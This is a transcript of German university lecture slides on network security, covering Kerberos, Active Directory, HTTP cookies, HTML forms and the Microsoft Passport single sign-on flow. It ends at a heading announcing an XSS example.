Netzsicherheit 5: Identity Management im WWW Microsoft Passport. Prof. Dr. Jörg Schwenk Lehrstuhl für Netz- und Datensicherheit



Ähnliche Dokumente
Netzsicherheit 5: Identity Management im WWW Microsoft Passport

Netzsicherheit 5: Identity Management im WWW Microsoft Passport. Prof. Dr. Jörg Schwenk Lehrstuhl für Netz- und Datensicherheit

Systemsicherheit. Kerberos: Direkte Authentifizierung. Gliederung

Teil 7: Identity-Management bei Microsoft. Prof. Dr. Jörg Schwenk Lehrstuhl für Netz- und Datensicherheit

Session Management und Cookies

Anwendungsprotokolle: HTTP, POP, SMTP

SSH Authentifizierung über Public Key

Das Kerberos-Protokoll

Erste Hilfe. «/IE Cache & Cookies» Logout, alte Seiten erscheinen, Erfasstes verschwindet?

Einrichtung des Cisco VPN Clients (IPSEC) in Windows7

Er musste so eingerichtet werden, dass das D-Laufwerk auf das E-Laufwerk gespiegelt

Anleitung zum Prüfen von WebDAV

Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen

Windows Server 2008 R2 und Windows 7 Stand-Alone Arbeitsplatz per VPN mit L2TP/IPSec und Zertifikaten verbinden.

ISA Server Exchange RPC over HTTPS mit NTLM-Authentifizierung

Überblick. Netzprogrammierung 7b. Zustand in Web Anwendungen. Zustand in HTTP HTTP ist zustandslos Zwei Interaktionen sind unabhängig voneinander

Inhaltsverzeichnis. Open-Xchange Authentication & Sessionhandling

Anleitung mtan (SMS-Authentisierung) mit SSLVPN.TG.CH

Sicherheit QUALITÄTSSICHERUNG DESIGNER24.CH V 1.2. ADRESSE Designer24.ch Web Print Development Postfach Turbenthal Schweiz

Wie funktioniert das WWW? Sicher im WWW

«Integration in WebSite» HTML-/Javascript-Code-Beispiele

RL

Clientkonfiguration für Hosted Exchange 2010

How to install freesshd

Man liest sich: POP3/IMAP

1 Konfigurationsanleitung Hosted Exchange

TeamSpeak3 Einrichten

Web Visu Tutorial. Hipecs Web Visu. Übersicht

Infinigate (Schweiz) AG. Secure Guest Access. - Handout -

Öffnen Sie den Internet-Browser Ihrer Wahl. Unabhängig von der eingestellten Startseite erscheint die folgende Seite in Ihrem Browserfenster:

Inhalt: Ihre persönliche Sedcard... 1 Login... 1 Passwort vergessen... 2 Profildaten bearbeiten... 3

mysql - Clients MySQL - Abfragen eine serverbasierenden Datenbank

2. Einrichtung der Verbindung zum Novell-NetStorage-Server

Anleitung zum Prüfen von WebDAV

SWISSVAULT StorageCenter Console Version 5 Kurzanleitung für SWISSVAULT Combo Partner

Kommunikationsnetze. 7. Das World Wide Web 7.4 Client- vs. Server-basierte Techniken für dynamische Webseiten

END USER GUIDE IBS TICKET SYSTEM HOW-TO. Dokumenten Kontrolle. Version 1.1. Datum IBS Ticket System End User How-To D.doc.

Lokale Installation von DotNetNuke 4 ohne IIS

Bedienungsanleitung für den SecureCourier

Diese Anleitung erläutert die Einrichtung des Active Directory Modus im DNS-343.

Schwachstellenanalyse 2012

Web Sockets mit HTML5. Quelle:

Forefront Threat Management Gateway (TMG) und Forefront Unified Access Gateway (UAG) Die perfekte Lösung

kreativgeschoss.de Webhosting Accounts verwalten


Version Deutsch In diesem HOWTO wird beschrieben wie Sie Ihren Gästen die Anmeldung über eine SMS ermöglichen.

Einrichten eines Postfachs mit Outlook Express / Outlook bis Version 2000

Lizenzen auschecken. Was ist zu tun?

Folgende Voraussetzungen für die Konfiguration müssen erfüllt sein:

estos UCServer Multiline TAPI Driver

Version 1.0 [Wiederherstellung der Active Directory] Stand: Professionelle Datensicherung mit SafeUndSave.com. Beschreibung.

Aufgaben HTML Formulare. Prof. Dr. rer. nat. Claus Brell, Wirtschaftsinformatik, Statistik

SSO-Schnittstelle. Inhalt: Beschreibung der Single Sign-On (SSO) Schnittstelle. NetSlave GmbH Simon-Dach-Straße 12 D Berlin

my.green.ch... 2 Domänenübersicht... 4

Benutzerkonto unter Windows 2000

Webmail. V Christof Rimle

Autoresponder Unlimited 2.0

Protokolle. Konrad Rosenbaum, 2006/7 protected under the GNU GPL & FDL

Sicherheit in Webanwendungen CrossSite, Session und SQL

Authentifizierung. Benutzerverwaltung mit Kerberos. Referent: Jochen Merhof

php Hier soll ein Überblick über das Erstellen von php Programmen gegeben werden. Inhaltsverzeichnis 1.Überblick Parameterübergabe...

BSV Software Support Mobile Portal (SMP) Stand

Einführung... 3 MS Exchange Server MS Exchange Server 2007 Jounraling für Mailboxdatabase... 6 MS Exchange Server 2007 Journaling für

Grundlegende Informationen zur Einrichtung des SSLVPN beim DSR-1000N/DSR-500N(FW 1.03B27).

Konfiguration VLAN's. Konfiguration VLAN's IACBOX.COM. Version Deutsch

Anleitung für Webcasts

Kurzanleitung zur Softwareverteilung von BitDefender Produkten...2

OP-LOG

Comtarsia SignOn Familie

Handbuch für Gründer. Daniela Richter, Marco Habschick. Stand: Verbundpartner:

Einrichten des IIS für VDF WebApp. Einrichten des IIS (Internet Information Server) zur Verwendung von Visual DataFlex Web Applications

Grundlegende Informationen zur Einrichtung des SSLVPN beim DSR-500N/1000N (FW 1.04Bxx).

Sessions mit PHP. Annabell Langs Sessions in PHP - Annabell Langs 1

Switching. Übung 9 EAP 802.1x. 9.1 Szenario

12. Kieler OpenSource und Linux Tage. Wie funktioniert eigentlich Mail? , Frank Agerholm, Linux User Group Flensburg e.v.

ISA Server 2004 Erstellen einer Webverkettung (Proxy-Chain) - Von Marc Grote

Proseminar: Website-Management-Systeme

Cnlab / CSI 2013 Social Business endlich produktiv! Demo. Identity Federation in der Praxis

Schiller-Gymnasium Hof

Kommunikationsnetze 7. Das World Wide Web 7.1 Einführung. University of Applied Sciences. Kommunikationsnetze. 7. Das World Wide Web 7.

Universal Dashboard auf ewon Alarmübersicht auf ewon eigener HTML Seite.

Online-Publishing mit HTML und CSS für Einsteigerinnen

1. Integration von Liferay & Alfresco 2. Single Sign On mit CAS

Bernd Blümel. Verschlüsselung. Prof. Dr. Blümel

ARCHITEKTUR VON INFORMATIONSSYSTEMEN

How-to: HTTP Proxy mit Radius Authentifizierung an einem Windows 2003 Server. Securepoint Security System Version 2007nx

Step by Step Webserver unter Windows Server von Christian Bartl

KvBK: Basic Authentication, Digest Authentication, OAuth

FTP Tutorial. Das File Transfer Protocol dient dem Webmaster dazu eigene Dateien wie z.b. die geschriebene Webseite auf den Webserver zu laden.

Andy s Hybrides Netzwerk

Externe Authentifizierung. Externe Authentifizierung IACBOX.COM. Version Deutsch

Einrichtung des WS_FTP95 LE

Konfiguration von Igel ThinClients fu r den Zugriff via Netscaler Gateway auf eine Storefront/ XenDesktop 7 Umgebung

Authentication Policy. Konfigurationsbeispiel ZyXEL ZyWALL USG-Serie. Juni 2010 / HAL

ESB - Elektronischer Service Bericht

Fotostammtisch-Schaumburg

Sich einen eigenen Blog anzulegen, ist gar nicht so schwer. Es gibt verschiedene Anbieter. ist einer davon.

Erste Schritte mit TeamSpeak 3

Konfiguration Firewall (Zyxel Zywall 10) (von Gruppe Schraubenmeier)

Transkript:

Netzsicherheit 5: Identity Management im WWW Microsoft Passport Prof. Dr.

Das Problem: Schlüsselmanagement OHNE Public-Key.Kryptographie Naiver Ansatz: n(n-1) Schlüssel Needham-Schröder/Kerberos: n Schlüssel 2

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 3

Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: 2. KDC Client: 3. Client Server: In Version 4 lautet die Nachricht 2: 4

Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: 3. Client Server: In Version 4 lautet die Nachricht 2: 5

Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: In Version 4 lautet die Nachricht 2: 6

Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: {A c }K c,s, {T c,s }K s In Version 4 lautet die Nachricht 2: 7

Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: {A c }K c,s, {T c,s }K s In Version 4 lautet die Nachricht 2: {K c,s, n, {T c,s }K s }K c 8

Kerberos: Direkte Authentifizierung Quelle: John T. Kohl, B. Clifford Neuman, Theodore Y. Ts o, The Evolution of the Kerberos Authentication Service. Proc. 1991 EurOpen Conference, Tromsø, Norway. Idee: Generiere ein wieder verwendbares Ticket, um das Key Distribution Center (KDC) zu entlasten. Das Ticket T c,s enthält: ID c K c,s t START, t EXPIRES alles verschlüsselt mit Ks, dem gemeinsamen symmetrischen Schlüssel von KDC und S Achtung: Der Schlüsselserver S aus dem Needham-Schroeder- Prot. heißt jetzt KDC (analog A->C, B->S). 9

Kerberos: Direkte Authentifizierung Funktionsweise: In der Grundform analog zu Needham- Schroeder 1. Nachricht: identisch 2. Nachricht: identisch in v4, leicht modifiziert in v5 (bis auf das Ticket-Konzept) 3. Nachricht: neu hinzugekommen ist ein Authentisator, der einen verschlüsselten Zeitstempel enthält Vorteil: Bei wiederholter Authentifizierung von C beim gleichen Server S zwischen t START und t EXPIRES muss nur die Nachricht 3 mit neu generiertem Authentisator gesendet werden. (Entlastung des KDC.) Vorteil gegenüber Zertifikaten: K c kann aus einem Passwort generiert werden (z.b. im Internetcafé) 10

Kerberos: Authentifizierung mit TGS KDC TGS 1 2 3 4 Client 5 Server 1. Client KDC: c, tgs, n 2. KDC Client: {K c,tgs, n}k c, {T c,tgs }K tgs 3. Client TGS: {A c } K c,tgs, {T c,tgs }K tgs, s, n 4. TGS Client: 5. Client Server: 11

Kerberos: Authentifizierung mit TGS KDC 1 2 3 Client 4 TGS 5 Server 1. Client KDC: c, tgs, n 2. KDC Client: {K c,tgs, n}k c, {T c,tgs }K tgs 3. Client TGS: {A c } K c,tgs, {T c,tgs }K tgs, s, n 4. TGS Client: {K c,s, n}k c,tgs, {T c,s }K s 5. Client Server: {A c }K c,s, {T c,s }K s 12

Kerberos: Zusätzliches Ticket Ziele: Geheimer gemeinsamer Schlüssel K c zwischen Client und KDC soll besser geschützt werden Authentisierung soll für Nutzer transparent sein Lösung: Einführung eines zusätzlichen Tickets und eines Zwischenschrittes K c wird nur einmal eingesetzt, um ein Ticket Granting Ticket (TGT) zu erhalten, danach wird er gelöscht Für weitere Authentifizierungen wird nur noch der temporäre Schlüssel K c,tgs benötigt Nachrichten 2 und 4 sowie 3 und 5 haben die gleiche Struktur 13

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 14

Kerberos v5 und MS Active Directory 15

Kerberos v5 und MS Active Directory Domäne Eine Gruppe von Computern, die Teil eines Netzwerkes sind und eine gemeinsame Verzeichnisdatenbank nutzen. Eine Domäne wird als eine Einheit mit gemeinsamen Regeln und Verfahren verwaltet. Jede Domäne hat einen eindeutigen Namen. Eine Active Directory-Domäne ist eine von einem Administrator eines Windows-Netzwerkes definierte Gruppierung von Computern. Diese Computer verwenden mit anderen Domänen eine gemeinsame Verzeichnisdatenbank, gemeinsame Sicherheitsrichtlinien und Sicherheitsbeziehungen. Eine Active Directory-Domäne bietet Zugriff auf die zentralisierten Benutzerkonten und Gruppenkonten, die vom Domänenadministrator verwaltet werden. Eine Active Directory- Gesamtstruktur setzt sich aus einer oder mehreren Domänen zusammen, von denen sich jede über mehr als einen physischen Standort erstrecken kann. Eine DNS-Domäne ist jede Struktur oder Teilstruktur innerhalb des DNS-Namespace. Obwohl die Namen von DNS-Domänen häufig mit denen von Active Directory-Domänen übereinstimmen, dürfen DNS- Domänen nicht mit Active Directory-Domänen verwechselt werden. Siehe auch: Active Directory; DNS (Domain Name System) 16

Kerberos v5 und MS Active Directory Active Directory Der Verzeichnisdienst, der Informationen zu Objekten in einem Netzwerk speichert und diese Informationen Benutzern und Netzwerkadministratoren zur Verfügung stellt. Active Directory ermöglicht Netzwerkbenutzern über einen einzigen Anmeldevorgang den Zugriff auf zugelassene Ressourcen im gesamten Netzwerk. Es stellt Netzwerkadministratoren eine anschauliche, hierarchische Ansicht des Netzwerkes und einen einzigen Verwaltungspunkt für alle Netzwerkobjekte zur Verfügung. Schlüsselverteilungscenter (Key Distribution Center, KDC) Ein Netzwerkdienst, der Sitzungstickets und temporäre Sitzungsschlüssel bereitstellt, die im Kerberos V5-Authentifizierungsprotokoll verwendet werden. In Windows 2000 und Windows XP wird das Schlüsselverteilungscenter als privilegierter Prozess auf allen Domänencontrollern ausgeführt. Siehe auch: Kerberos V5-Authentifizierungsprotokoll;... Domänencontroller Ein Computer in einer Windows-Domänenumgebung, auf dem Active Directory ausgeführt wird und der den Benutzerzugriff auf ein Netzwerk verwaltet. Zu seinen Aufgaben zählen die Verwaltung von Anmeldung, Echtheitsbestätigung und Zugriff auf Verzeichnisse und freigegebene Ressourcen. 17

Kerberos v5 und MS IPSec 18

Kerberos v5 und MS IPSec 19

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 20

HTTP und Cookies Architektur des WWW Client-Server-Architektur Statische Webseiten: HTTP-Anfrage (mit URL) Browser HTTP-Anwort (Header+Datei) Web- Server Dateisystem: *.html 21

HTTP und Cookies Client (Browser) ist für die Darstellung verantwortlich Das gleiche *.html-dokument kann auf verschiedenen Browsern unterschiedlich aussehen. Darstellung verschiedener Dateitypen durch Browser, Plug-In oder Helper Server sendet im HTTP-Header den MIME-Typ der Datei, die übertragen wird Anhand dieses MIME-Typs kann der Browser entscheiden, wie die Datei dargestellt werden soll: text/plain, text/html: Browser image/jpeg, video/mpeg: Plug-In. Plug-Ins laufen innerhalb des Browsers ab, und haben daher Zugriff auf das aktuelle Fenster. Sie werden nur bei Bedarf geladen. application/pdf, application/msword: Helper-Anwendung. Sie laufen außerhalb des Browsers ab. 22

HTTP und Cookies Kommunikation aus Sicht des Browsers 1. User tippt http://www.nds.rub.de/schwenk/index.html 2. Browser erfragt bei einem Domain Name Server (DNS) die IP- Adresse zu www.nds.rub.de: 134.147.101.34 3. Browser baut eine TCP-Verbindung zu 134.147.101.34 Port 80 auf 4. Browser sendet ein http-kommando über diese TCP- Verbindung: Get schwenk/index.html HTTP/1.0 User-agent: Netscape 4.7 Accept: text/plain Accept: text/html Accept: image/gif 23

HTTP und Cookies 5. Server antwortet über die TCP-Verbindung mit: Einer Statuszeile (Erfolgsmeldung oder Fehler) Metainfomation (Beschreibung der nachfolgenden Information) Einer Leerzeile Der Information selbst HTTP/1.0 Status 200 Document follows Server: Apache/1.8 Date: Mon, 14 Mai, 2001 11:23:22 GMT Content-type: text/html Content-length: 5280 Last-modified: Fri, 11 Mai, 2001 03:12:12 GMT <html>... </html> 24

HTTP und Cookies Schritt 1-5 wird für jede HTTP-Anfrage wiederholt. Insbesondere muß für jede HTTP-Anfrage eine neue TCP- Verbindung aufgebaut werden Verbesserte Performance durch Persistenz der TCP- Verbindung in HTTP 1.1 25

HTTP und Cookies Uniform Ressource Locators (URLs) bestehen aus drei Teilen Protokoll (z.b. http) DNS-Name des Servers (z.b. www.hgi.rub.de) Pfad/Filename (/pub/default.html) Beispiele: http://www.nds.rub.de/lehre/vorlesungen/systemsicherheit/ Systemsicherheit_7.pdf ftp://ftp.daco.org/scripte/vorlesung.pdf file:///c /FTP/Java_Tutorial/book.html mailto:joerg.schwenk@ruhr-uni-bochum.de telnet://www.w3.org:80 Für http-urls gibt es als optionalen Teil den Query-String zur Übertragung von Daten http://reiseauskunft.bahn.de/bin/query.exe/dn?ld=212.199& seqnr=4&ident=69.014558199.1226909703&rt=1&ok#focus 26

HTTP und Cookies HTTP ist ein verbindungsloses Protokoll Verschiedene WWW-Anfragen vom gleichen Client stehen für den Server in keinem Zusammenhang Perfekt geeignet für das ursprüngliche Hypertext-Internet Problematisch für Webshops: Wie merke ich mir, welche Produkte der Kunde beim letzten Besuch in seinen Einkaufswagen gelegt hat? Netscape-Lösung: Cookies ( \netscape\users\user1\cookies.txt) Beim ersten Besuch eines Browsers bei einem Server legt der Server beim Browser einen eindeutigen Wert ab: Ein Cookie ( Plätzchen ) Der Server speichert alle Variablen, die beim ersten Besuch des Kunden gesetzt wurden, in einer Datenbank ab. Referenz auf diesen DB-Eintrag ist das Cookie. Wenn der Client den Server oder die Domain zum zweiten mal besucht, liefert er diesen Cookie mit ab, und der Server weiß wieder, mit wem er redet. 27

HTTP und Cookies 28

HTTP und Cookies Domain Path Content Expires Secure toms-casino.com / CustomerID=497793521 15-10-02 17:00 Yes toms-casino.com Cookie wird an alle Server dieser Domain zurück gesendet. (Weitere Einschränkung: Gesetzt werden muss dieses Cookie von einem Server aus dieser Domain.) / Cookie kann für alle Files im WWW-Zweig des Servers verwendet werden CustomerID=497793521 Identifiziert einen Besucher des Casinos eindeutig 15-10-02 17:00 Da dieses Datum in der Vergangenheit liegt, wird das Cookie demnächst vom Browser gelöscht YES Browser darf das Cookie nur an einen sicheren Server zurücksenden 29

HTTP und Cookies Domain Path Content Expires Secure joes-store.com / Cart=1-00501;2-13721 15-10-02 17:00 No Cart=1-00501;2-13721 Die Variable Cart enthält hier den Inhalt des Einkaufswagens, in Form von eindeutigen Produktnummern. Diese Liste wird also im Browser gespeichert, was den Server entlastet. Genug Platz ist dafür da, da ein Cookie bis zu 4 KB groß werden darf. No Browser darf das Cookie an jeden Server zurücksenden 30

HTTP und Cookies Domain Path Content Expires Secure aportal.com / Prefs=Stk:SUNW;Spt:1860M 15-10-02 17:00 No Prefs=Stk:SUNW;Spt:1860M Die Variable Prefs speichert die Präferenzen eines Kunden für ein bestimmtes Internet- Portal. Mit der genannten Festlegung werden dem Kunden immer die Börsenwerte der Firma SUN und die Ergebnisse der Fußballspiele von 1860 München angezeigt. 31

HTTP und Cookies Domain Path Content Expires Secure sneaky.com / UserID=8934982374 31-12-10 23:59 No UserID=8934982374 Die Variable UserID wird von der Firma Sneaky dazu verwendet, Daten über den Kunden zu sammeln. Dies kann z.b. dadurch geschehen, dass ein Werbebanner (.doubleclick.net) auf vielen Seiten im Internet platziert wird. Dieses Werbebanner muss jeweils von einem Server aus der Domain sneaky.com abgerufen werden, und so wird das Cookie regelmäßig an die Firma gesendet. Diese kann sehen, von welcher Webseite aus das Banner aufgerufen wurde, und so ein Nutzerprofil erstellen. (Im Extremfall reicht dazu eine Banner, das 1*1 Pixel groß ist!) 32

HTML-Formulare <html> <head> <title> Anmeldeformular Prüfungen </title> </head> <body> <h1> Anmeldeformular Prüfungen </h1> <form ACTION="http://www.nds.rub.de/lehre/anmeldung.php" method=post> <p> Name <input name="student" size=46> </p> <p> E-Mail <input name="email" size=30> </p> <p> Matrikelnummer <input name="matrnr" size=20> Studienbeginn (Jahr) <input name="beginn" size=4> Master <input name="studiengang" type=radio value="master"> Diplom <input name="studiengang" type=radio value="diplom"> </p> <p> Systemsicherheit <input name="pruefung1" type=checkbox> </p> <p> Netzsicherheit <input name="pruefung2" type=checkbox> </p> <p><input type=submit value="anmelden!!"> </p> Viel Erfolg! </form> </body> </html> 33

HTML- Formulare 34

HTML-Formulare GET-Methode Eingaben werden als Query-String an die URL angehängt Beispiel (Google): GET /search?q=diploma+supplement&ie=iso-8859-1&hl=de&btng=google+suche&meta=cr%3dcountryde Vorteil: Anfrage kann als Bookmark gespeichert werden Problem: Bei Eingabe von Username/Passwort ist das Passwort in der History des Browsers sichtbar POST-Methode Eingaben werden als String im Body des http-requests an den Server übertragen Beispiel (zu Tanenbaum): customer=joerg+schwenk&address=universitaetsstr+150&city=bochum& state=nrw&country=de&cardno=1234567890&expires=7/07& cc=mastercard&product=cheap&express=on 35

HTML: Versteckte Formularfelder HTML-Formulare können versteckt werden ( type=hidden ), dann werden sie nicht angezeigt HTML-Formulare können mit Default-Werten vorbelegt werden Das Senden der Daten kann per Javascript erfolgen, und Javascript wird über ein Browser-Event aktiviert, z.b. durch onload 36

HTTP Redirection HTTP 1.1, spezifiziert in RFC 2616, beschreibt Redirection wie folgt: 10.3 Redirection 3xx This class of status code indicates that further action needs to be taken by the user agent in order to fulfill the request. The action required MAY be carried out by the user agent without interaction with the user if and only if the method used in the second request is GET or HEAD. A client SHOULD detect infinite redirection loops, since such loops generate network traffic for each redirection. 300 Multiple Choices 301 Moved Permanently 303 See Other 37

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 38

MS Passport: Wozu? 39

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 40

How does MS Passport work? User CERN Web Server [WEBx, WEBAxx] Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 41

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 42

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 43

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 44

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 45

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 46

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 47

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 48

How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 49

MS Passport: Technologien Kerberos Ist die Basis von MS Passport, Nachrichten werden durch Cookies, HTML-Formulare oder Query-Strings in URLs abgebildet. Cookies Die einzigen Nachrichten, die in HTTP persistent gespeichert werden, sind Cookies. Query String Datenteil der URL HTML-Formulare Vorbelegte Daten werden mit GET oder POST übertragen. HTTP Redirection Transparente Umleitung des Nutzer auf den MS Passport-Server. Der Kunde merkt davon (fast) nichts, es erscheint fast der gleiche Dialog wie beim Login auf einem Webserver. 50

MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 Request HTTP GET auf geschützte Seite (keine Cookies) Response 2 51

MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine Cookies) HTTP GET auf PP Login Server (bank.de-infos im QS) Response 303 HTTP Redirect zum Passport Login Server (bank.de ID, ReturnURL, TimeWindow,... im Query String (QS) der URL) 52

MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine Cookies) HTTP GET auf PP Login Server (bank.de-infos im QS) Response 303 HTTP Redirect zum Passport Login Server (bank.de ID, ReturnURL, TimeWindow,... im Query String (QS) der URL) 200 OK, Sign In Form 53

MS Passport: Erstes Sign-In Passport Login Server 3 Client bank.de Schritt 3 Request HTTPS POST auf PP Login Server (enthält Username / Passwort) Response 54

MS Passport: Erstes Sign-In Passport Login Server 3 Client bank.de Schritt Request Response 3 HTTPS POST auf PP Login Server (enthält Username / Passwort) 303 HTTP Redirect zurück zu bank.de, falls Authentifizierung positiv. Übergibt folgende Werte (als Cookie, Query-String oder als Formularfeld): Ticket granting cookie (verschl. mit central key ) Ticket cookie (verschl. mit bank.de-schlüssel) Profile cookie (verschl. mit bank.de-schlüssel) 55

MS Passport: Erstes Sign-In Passport Login Server Client 4 bank.de Schritt 4 Request HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für bank.de als Webobjekt) Response 56

MS Passport: Erstes Sign-In Passport Login Server Client 4 bank.de Schritt Request Response 4 HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für bank.de im http-header) Passport Manager Software entschlüsselt Ticket cookie und Profile cookie (verschl. mit bank.de-schlüssel), 200 OK mit Inhalt der aufgerufenen Webseite schreibt Site-Cookie (wichtig für Logout)) und setzt die anderen Cookies (Persistenz!) 57

MS Passport: Weiteres Sign-In Passport Login Server 2 Client 1 auto.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine spez. Cookies) HTTP GET auf PP Login Server (auto.de-infos im QS); sendet Ticket granting cookie Response 303 HTTP Redirect zum Passport Login Server (auto.de ID, ReturnURL, TimeWindow,... im QS) 303 HTTP Redirekt zu auto.de (mit ticket und profile cookies, verschlüsselt mit auto.de- Schlüssel) 58

MS Passport: Weiteres Sign-In Passport Login Server Client 3 auto.de Schritt 3 Request HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für auto.de im QS) Response Passport Manager Software entschlüsselt Ticket cookie und Profile cookie (verschl. mit auto.de-schlüssel), 200 OK mit Inhalt der aufgerufenen Webseite. schreibt weiteres Site-Cookie (wichtig für Logout) 59

MS Passport: Veraltetes Cookie Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (mit Auth und Profile Cookies) HTTP GET auf PP Login Server (mit Auth und Profile Cookies für bank.de) Response 303 HTTP Redirect zum Passport Login Server (Ticket liegt nicht mehr im bank.de-zeitfenster) 303 HTTP Redirekt zu PP Login Server (Ticket Cookie muss mit Ticket Granting Cookie aufgefrischt werden) 60

MS Passport: Veraltetes Cookie Passport Login Server 3 Client 4 bank.de Schritt 3 4 Request HTTPS POST auf PP Login S. (mit Ticket Granting Cookie) HTTP GET auf bank.de (mit Cookies für bank.de) Response 303 HTTP Redirect zu bank.de (Setzt passport.com Cookies, neue bank.de- Cookies verschlüsselt im QS) 200 OK mit Inhalt der aufgerufenen Webseite 61

MS Passport: Single Sign-Out Beim Sign-Out werden alle Cookies für alle Sites ungültig MS PP-Server muss dies den Partnersites mitteilen. 62

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 63

XSS mit iframe

